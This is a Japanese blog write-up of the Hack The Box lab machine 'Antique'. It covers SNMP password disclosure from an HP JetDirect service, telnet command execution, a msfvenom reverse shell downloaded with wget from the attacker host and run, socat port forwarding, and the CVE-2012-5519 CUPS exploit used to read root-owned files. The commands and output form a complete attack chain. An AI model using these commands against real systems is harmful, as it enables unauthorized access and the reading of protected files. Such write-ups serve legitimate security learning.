Hack The Box: Antiqueのwriteup。
初期侵入までは順調だったが、権限昇格に苦戦。時間はかかったが、なんとか掌握できた。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-03 07:23 EST
Nmap scan report for 10.129.234.138
Host is up (0.75s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
23/tcp open telnet?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270:
| JetDirect
| Password:
| NULL:
|_ JetDirect
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.94SVN%I=7%D=2/3%Time=67A0B56E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,F,"\nHP\x20JetDirect\n\n")%r(GenericLines,19,"\nHP\x20JetDirect\n\nP
SF:assword:\x20")%r(tn3270,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(GetR
SF:equest,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(HTTPOptions,19,"\nHP\
SF:x20JetDirect\n\nPassword:\x20")%r(RTSPRequest,19,"\nHP\x20JetDirect\n\n
SF:Password:\x20")%r(RPCCheck,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(D
SF:NSVersionBindReqTCP,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(DNSStatu
SF:sRequestTCP,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(Help,19,"\nHP\x2
SF:0JetDirect\n\nPassword:\x20")%r(SSLSessionReq,19,"\nHP\x20JetDirect\n\n
SF:Password:\x20")%r(TerminalServerCookie,19,"\nHP\x20JetDirect\n\nPasswor
SF:d:\x20")%r(TLSSessionReq,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(Ker
SF:beros,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(SMBProgNeg,19,"\nHP\x2
SF:0JetDirect\n\nPassword:\x20")%r(X11Probe,19,"\nHP\x20JetDirect\n\nPassw
SF:ord:\x20")%r(FourOhFourRequest,19,"\nHP\x20JetDirect\n\nPassword:\x20")
SF:%r(LPDString,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(LDAPSearchReq,1
SF:9,"\nHP\x20JetDirect\n\nPassword:\x20")%r(LDAPBindReq,19,"\nHP\x20JetDi
SF:rect\n\nPassword:\x20")%r(SIPOptions,19,"\nHP\x20JetDirect\n\nPassword:
SF:\x20")%r(LANDesk-RC,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(Terminal
SF:Server,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(NCP,19,"\nHP\x20JetDi
SF:rect\n\nPassword:\x20")%r(NotesRPC,19,"\nHP\x20JetDirect\n\nPassword:\x
SF:20")%r(JavaRMI,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(WMSRequest,19
SF:,"\nHP\x20JetDirect\n\nPassword:\x20")%r(oracle-tns,19,"\nHP\x20JetDire
SF:ct\n\nPassword:\x20")%r(ms-sql-s,19,"\nHP\x20JetDirect\n\nPassword:\x20
SF:")%r(afp,19,"\nHP\x20JetDirect\n\nPassword:\x20")%r(giop,19,"\nHP\x20Je
SF:tDirect\n\nPassword:\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 230.62 seconds
23番ポート (telnet)にて、JetDirectというアプリケーションが実行されている模様。軽くググってみると、HPのプリンターに関連するアプリケーションらしい。
さっそくtelnet接続してみた。
└─$ telnet $RHOST
Trying 10.129.234.138...
Connected to 10.129.234.138.
Escape character is '^]'.
HP JetDirect
Password: JetDirect
Invalid password
Connection closed by foreign host.
が、パスワードが分からないため、弾かれてしまった。
searchsploitでJetDirectの脆弱性を調べたところ、複数の脆弱性を発見。
└─$ searchsploit jetdirect
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
HP Jetdirect - Path Traversal Arbitrary Code Execution (Metasploit) | unix/remote/45273.rb
HP JetDirect FTP Print Server - 'RERT' Denial of Service | windows/dos/29787.py
HP JetDirect J3111A - Invalid FTP Command Denial of Service | hardware/dos/20090.txt
HP JetDirect PJL - Interface Universal Directory Traversal (Metasploit) | hardware/remote/17635.rb
HP JetDirect PJL - Query Execution (Metasploit) | hardware/remote/17636.rb
HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure | hardware/remote/22319.txt
HP JetDirect rev. G.08.x/rev. H.08.x/x.08.x/J3111A - LCD Display Modification | hardware/remote/20565.c
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
上記のうち、パスワード開示の PoC (hardware/remote/22319.txt
)を確認してみた。
PoC によると、細工したSNMPリクエストを送ることで、web JetAdminデバイスのパスワードを入手できるらしい。
nmapで161番ポート (SNMP)のUDPスキャンを実施したところ、ポートが開いていることを確認。
└─$ sudo nmap -Pn -sU -p 161 $RHOST
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-03 08:10 EST
Nmap scan report for 10.129.234.138
Host is up (0.25s latency).
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds
snmpwalkでPoCと同様のSNMPリクエストを送ってみたところ、Hexエンコードされたデータが返ってきた。
└─$ snmpwalk -c public -v1 -t 10 $RHOST .1.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
上記のデータをHexデコードしたところ、P@ssw0rd@123!!123
というパスワードを発見。
└─$ echo '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135' | xxd -r -p
P@ssw0rd@123!!123�q��"2Rbs3CSs��$4�Eu�WGW�(8i IY�aA�"1&1A5
入手したパスワードで標的マシンにtelnet接続できた。
└─$ telnet $RHOST
Trying 10.129.234.138...
Connected to 10.129.234.138.
Escape character is '^]'.
HP JetDirect
Password: P@ssw0rd@123!!123
Please type "?" for HELP
> help
Err updating configuration
> ?
To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>
Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)
addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)
exec: execute system commands (exec id)
exit: quit from telnet session
ヘルプによると、exec <COMMAND>
で任意のコマンドを実行できるとのこと。
> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
一般ユーザーのフラグ/var/spool/lpd/user.txt
を入手。(ちなみに/var/spool/lpd/telnet.py
は23番ポートで起動してるバックドアの本体である)
> exec pwd
/var/spool/lpd
> exec whoami
lp
> exec ls
telnet.py
user.txt
さて、続いて権限昇格だが、コマンドを実行するたびにexec
と叩くのは億劫なので、別途リバースシェルを仕込むことにした。
攻撃マシンにてリバースシェルを作成し、Python HTTPサーバーを起動。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.174 LPORT=53 -f elf > shell64-nonstaged.elf
python3 -m http.server 80
標的マシンにリバースシェルを仕込んで実行。
exec wget http://10.10.16.174/shell64-nonstaged.elf
exec chmod +x shell64-nonstaged.elf
exec ./shell64-nonstaged.elf &
新たにリバースシェルのセッションが起動。これで普通にコマンドを叩くことができる。
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.234.138] 50568
id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
lp@antique:/var/spool/lpd$
さて、改めて権限昇格である。
列挙したところ、sudoのバージョンが1.9.5p2より古いことが判明。
lp@antique:/home/lp$ sudo -V
sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
CVE-2021-3156の脆弱性を突いてみたが、残念ながらパッチ済みだった。
wget http://10.10.16.174/exploit_nss.py
chmod +x exploit_nss.py
python3 exploit_nss.py
lp@antique:/home/lp$ python3 exploit_nss.py
python3 exploit_nss.py
Traceback (most recent call last):
File "exploit_nss.py", line 220, in <module>
assert check_is_vuln(), "target is patched"
AssertionError: target is patched
列挙を続けたところ、631番ポート (CUPS) が開いていることに気づいた。
lp@antique:/home/lp$ netstat -an
netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 10.129.234.138:23 10.10.16.174:48630 ESTABLISHED
tcp 0 149 10.129.234.138:50568 10.10.16.174:53 ESTABLISHED
tcp6 0 0 ::1:631 :::* LISTEN
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp 0 0 0.0.0.0:161 0.0.0.0:*
udp 0 0 10.129.234.138:55114 8.8.8.8:53 ESTABLISHED
CUPSの設定ファイル/etc/cups/cupsd.conf
によると、localhost:631
にてCUPSのwebインターフェイスが起動しているらしい。
lp@antique:/var/spool/lpd$ cat /etc/cups/cupsd.conf
cat /etc/cups/cupsd.conf
LogLevel warn
SystemGroup lpadmin
Listen localhost:631
Listen /var/run/cups/cups.sock
Browsing On
BrowseOrder allow,deny
BrowseAllow all
BrowseLocalProtocols
DefaultAuthType Basic
WebInterface Yes
<Location />
Order allow,deny
</Location>
<Location /admin>
Order allow,deny
</Location>
<Location /admin/conf>
AuthType Default
Require user @SYSTEM
Order allow,deny
</Location>
-- snipped --
curlでhttp://localhost:631
にアクセスしたところ、webインターフェイスが起動していることを確認。
lp@antique:/var/log/cups$ curl -i http://localhost:631
curl -i http://localhost:631
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2025 14:18:30 GMT
Server: CUPS/1.6
Connection: Keep-Alive
Keep-Alive: timeout=30
Content-Language: en_US
Content-Type: text/html; charset=utf-8
Last-Modified: Thu, 13 May 2021 05:36:41 GMT
Content-Length: 3792
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<TITLE>Home - CUPS 1.6.1</TITLE>
<LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
<LINK REL="SHORTCUT ICON" HREF="/images/cups-icon.png" TYPE="image/png">
</HEAD>
<BODY>
-- snipped --
上記より、CUPSのバージョンは1.6.1と判明。
このままCUPSのwebインターフェイスを弄り回したいところだが、毎回curlを叩くのは不便である。
あいにく標的マシンでブラウザを起動することはできない。加えて、631番ポートは外部ネットワークからはアクセスできないので、攻撃マシンからブラウズすることも出来ない。
ので、ポート転送しよう!と思ったのだが、自分が普段使っているSSHが標的マシンにインストールされていなかった。
lp@antique:/var/log/cups$ ssh -N -R 127.0.0.1:631:127.0.0.1:631 kali@10.10.16.174
<-N -R 127.0.0.1:631:127.0.0.1:631 kali@10.10.16.174
Command 'ssh' not found, but can be installed with:
apt install openssh-client
Please ask your administrator.
lp@antique:/var/log/cups$
じゃあ、代わりにchiselを使おう。
攻撃マシンにてchiselをサーバーモードで起動。
cp $(which chisel) .
chisel server -p 8000 --reverse
標的マシンにchiselを仕込んで、クライアントモードで起動。
wget http://10.10.16.174/chisel
chmod +x chisel
./chisel client 10.10.16.174:8000 R:631:127.0.0.1:631
が、ライブラリが不足しており、起動できなかった。
lp@antique:/var/spool/lpd$ ./chisel client 10.10.16.174:8000 R:631:127.0.0.1:631
<chisel client 10.10.16.174:8000 R:631:127.0.0.1:631
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
今までポート転送にはSSHかchiselしか使ってこなかったので、これには少々困った。
しばらくググってみたところ、socatによるポート転送を発見。
標的マシンにて、以下のコマンドを実行。
socat -ddd TCP-LISTEN:1234,fork,reuseaddr tcp:localhost:631
これで標的マシンの1234番ポートへの通信は631番ポートへ転送されるはずである。
が、予想に反して400 Bad Requestエラーが返ってきた。
└─$ curl -i http://$RHOST:1234
HTTP/1.1 400 Bad Request
Date: Sat, 08 Feb 2025 13:56:14 GMT
Server: CUPS/1.6
Content-Language: en_US
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 346
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<TITLE>Bad Request - CUPS v1.6.1</TITLE>
<LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
</HEAD>
<BODY>
<H1>Bad Request</H1>
<P></P>
</BODY>
</HTML>

なんで!?となったが、/etc/cups/cupsd.conf
の設定内容を思い返してみると、CUPSのwebインターフェイスにアクセスするにはhttp://localhost:631
にアクセスしなければいけない。
ということは、標的マシンにて1234番ポートへの通信を631番ポートへ転送する設定に加えて、攻撃マシンにてlocalhostへの通信を標的マシンの1234番ポートへ転送する設定が必要なのでは?と閃いた。
攻撃マシンにて以下のコマンドを実行した。
socat -ddd tcp-listen:8080,fork tcp:$RHOST:1234
上記のコマンドは、攻撃マシンの8080番ポートへの通信を標的マシンの1234番ポートへと転送する。
これで、攻撃マシンのhttp://localhost:8080
を介して、標的マシンのCUPS webインターフェイスにアクセスできるようになった。


まとめると、攻撃マシンから標的マシンのCUPS webインターフェイスにアクセスするには、以下のポート転送の設定が必要だった。
## on target machine
socat -ddd TCP-LISTEN:1234,fork,reuseaddr tcp:localhost:631
## on attacker machine
socat -ddd tcp-listen:8080,fork tcp:$RHOST:1234
以下は通信の流れの図解。
localhost:8080 (attacker machine) -> $RHOST:1234 -> (target machine) -> localhost:631 (target machine)
ともあれ、ポート転送に成功して喜んでいたのも束の間、ここから権限昇格するのに更に時間を要した。
そもそもCUPSに馴染みがないため、ひたすらググりまくった。で、ようやく使えそうな脆弱性を発見した。結論から言うと、rootユーザーのフラグの入手にポート転送は不要だった 🙁
どうやらCUPSの1.6.2よりも前のバージョンには、高権限ユーザー (root)所有のファイルを読めてしまうという脆弱性があるらしい。
標的マシンにエクスプロイトをダウンロードして実行。
wget http://10.10.16.174/cups-root-file-read.sh
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
が、リバースシェルのセッション上でエクスプロイトを実行しようとしたところ、エラーに遭遇。
lp@antique:/var/spool/lpd$ ./cups-root-file-read.sh
./cups-root-file-read.sh
tput: No value for $TERM and no -T specified
lp@antique:/var/spool/lpd$ sh cups-root-file-read.sh
sh cups-root-file-read.sh
cups-root-file-read.sh: 31: set: Illegal option -o pipefail
シェルの問題かと思い、標的マシンにtelnet接続して、下記のコマンドを実行。
exec echo '/root/root.txt' | ./cups-root-file-read.sh
無事、/root/root.txt
を入手できた。
> exec echo '/root/root.txt' | ./cups-root-file-read.sh
_
___ _ _ _ __ ___ _ __ ___ ___ | |_
/ __| | | | '_ \/ __|_____| '__/ _ \ / _ \| __|____
| (__| |_| | |_) \__ \_____| | | (_) | (_) | ||_____|
\___|\__,_| .__/|___/ |_| \___/ \___/ \__|
/ _(_) | _|_| _ __ ___ __ _ __| | ___| |__
| |_| | |/ _ \_____| '__/ _ \/ _` |/ _` | / __| '_ \
| _| | | __/_____| | | __/ (_| | (_| |_\__ \ | | |
|_| |_|_|\___| |_| \___|\__,_|\__,_(_)___/_| |_|
a bash implementation of CVE-2012-5519 for linux.
[i] performing checks...
[i] checking for cupsctl command...
[+] cupsctl binary found in path.
[i] checking cups version...
[+] using cups 1.6.1. version may be vulnerable.
[i] checking user lp in lpadmin group...
[+] user part of lpadmin group.
[i] checking for curl command...
[+] curl binary found in path.
[+] all checks passed.
[!] warning!: this script will set the group ownership of
[!] viewed files to user 'lp'.
[!] files will be created as root and with group ownership of
[!] user 'lp' if a nonexistant file is submitted.
[!] changes will be made to /etc/cups/cups.conf file as part of the
[!] exploit. it may be wise to backup this file or copy its contents
[!] before running the script any further if this is a production
[!] environment and/or seek permissions beforehand.
[!] the nature of this exploit is messy even if you know what you're looking for.
[i] usage:
input must be an absolute path to an existing file.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow
4. /etc/sudoers ... etc.
[i] ./cups-root-file-read.sh commands:
type 'info' for exploit details.
type 'help' for this dialog text.
type 'quit' to exit the script.
[i] for more information on the limitations
[i] of the script and exploit, please visit:
[i] https://github.com/0zvxr/CVE-2012-5519/blob/main/README.md
[>] [+] contents of /root/root.txt:
2c4ec34e0f2675892a<REDACTED>